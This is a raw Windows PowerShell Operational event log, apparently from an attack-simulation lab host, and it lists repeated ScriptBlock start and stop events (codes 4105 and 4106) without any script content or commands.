ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043923
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043922
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043921
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043920
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043904
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043903
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043897
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043891
Keywords=None
